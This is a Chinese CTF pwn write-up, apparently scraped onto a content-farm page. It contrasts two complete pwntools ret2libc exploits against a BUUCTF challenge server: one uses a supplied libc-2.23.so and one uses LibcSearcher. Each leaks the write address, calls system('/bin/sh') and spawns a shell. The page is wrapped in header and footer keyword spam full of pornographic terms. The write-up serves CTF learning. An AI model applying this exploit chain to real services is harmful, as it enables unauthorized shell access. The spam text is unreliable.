日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别

發布時間:2025/3/20 编程问答 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

做了一道題目,它提供了 libc文件;

這道題 可以使用 libc-2.23.so文件 來 解出來, 也可以不使用;

當使用 libc2.23.so文件時 EXp為

from pwn import * p = remote("node3.buuoj.cn",29829) libc=ELF('libc-2.23.so') elf = ELF('./pwn1') write_plt = elf.plt['write'] write_got = elf.got['write'] main = 0x08048825 payload1 = "\0" + "\xff"*7 p.sendline(payload1) p.recvuntil("Correct\n") payload2 = "a"*0xe7+'a'*4 +p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8) p.sendline(payload2) write_addr=u32(p.recv(4)) offset = write_addr - libc.sym['write'] system_addr=offset+libc.sym['system'] bin_sh_addr=offset+libc.search('/bin/sh').next() p.sendline(payload1) p.recvuntil('Correct\n') payload3 = "a"*0xe7 + 'a'*4 +p32(system_addr) + p32(0) + p32(bin_sh_addr) p.sendline(payload3) p.interactive()

不使用的情況下 EXP:

from pwn import * from LibcSearcher import * p=remote('node3.buuoj.cn',26210) elf=ELF('./pwn1') write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x8048825 payload1='\0'+'\xff'*7 p.sendline(payload1) p.recvline() payload2='a'*(0xe7 + 0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.sendline(payload2) write_addr=u32(p.recv(4)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh') p.sendline(payload1) p.recvline() payload3='a'*(0xe7 + 0x4)+p32(system_addr) + p32(0) +p32(bin_sh_addr) p.sendline(payload3) p.interactive()

兩者的差異:

有libc.so文件時

1.不需要調用from LibcSearcher import *

沒有libc=LibcSearcher('write',write_addr) 這一步

2.offset = write_addr - libc.sym[‘write’]
system_addr=offset+libc.sym[‘system’]
bin_sh_addr=offset+libc.search(’/bin/sh’).next()

計算偏移量 和 偏移函數 的時候: 語句為 libc.sym[]

找 bin_sh 位置時 語句為: bin_sh_addr=offset+libc.search('/bin/sh').next()

沒有libc.2.23.so文件時

from LibcSearcher import *libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh')

總結

以上是生活随笔為你收集整理的CTF(Pwn) 当题目为我们提供Libc版本.so文件, 与 不提供的区别的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩精品一区二区三区网站 | 在线观看视频二区 | 亚洲精品久久久乳夜夜欧美 | 国产91在线观看丝袜 | 黑人巨大av | 国精产品乱码一区一区三区四区 | 老司机精品视频在线播放 | 四虎看黄 | 亚洲男人的天堂网 | 91亚洲网| 久久99精品久久久久久三级 | 久草剧场 | 欧美巨乳在线观看 | 色老汉av一区二区三区 | 国产aⅴ激情无码久久久无码 | 久久免费观看视频 | 97免费看| 亚洲色图2 | 91精品国产乱码久久 | 亚洲国产成人精品视频 | 不卡一区二区在线 | 国产日批| 在线观看免费视频一区二区 | 农村偷人一级超爽毛片 | 特黄1级潘金莲 | 综合一区在线 | 午夜狠狠干 | 国产成人精品无码免费看在线 | 欧美老熟妇乱大交xxxxx | 涩涩资源网 | 亚洲欧美一区二区在线观看 | 不卡视频在线 | 成人片在线免费看 | 婷婷伊人网 | 在线视频观看一区 | 国产成人无码专区 | 国产精品一区二区av | 久久人人艹 | av资源免费看 | 午夜91视频 | 丰满人妻一区二区三区精品高清 | 一区二视频 | jizz网站| 亚洲69 | 乱妇乱女熟妇熟女网站 | 无码人妻aⅴ一区二区三区日本 | 夜夜夜操 | 亚洲第一免费视频 | 风流老熟女一区二区三区 | 日本乱码一区 | 999久久久久 | 欧美 日韩 国产 成人 | 视频在线观看电影完整版高清免费 | 国产91对白在线播放 | 尤物视频在线观看国产 | 一级做a爰片| 丰满人妻一区二区三区大胸 | 又爽又黄视频 | 台湾av在线 | 欧美性受xxxxx| 色婷婷久久 | 成人av高清在线观看 | 日本在线中文字幕专区 | 成人区精品一区二区婷婷 | 男女草逼视频 | 欧美特级毛片 | 男人天堂手机在线 | 日韩免费大片 | 中文字幕国产剧情 | 九九精品免费视频 | 成人a在线 | 国产一级做a爱片久久毛片a | 玖玖在线视频 | 法国空姐 在线 | 日本在线高清视频 | av第一区| 久久r视频 | 欧美久久久久久久久久久 | 久久伊人免费 | 免费看黄20分钟 | 欧美一级片网站 | 日韩少妇内射免费播放 | www日本高清视频 | 日韩有码在线视频 | 四虎影库永久在线 | 蜜桃视频污 | 蜜桃香蕉视频 | 日本不卡一区在线 | 久久网免费视频 | 另类av小说 | 日韩视频一二三区 | 免费毛片网站 | 国产精一区 | 亚洲人成人网 | 色先锋资源网 | 91九色网站 | 大片av| 久久精品国产电影 | 免费看成人av |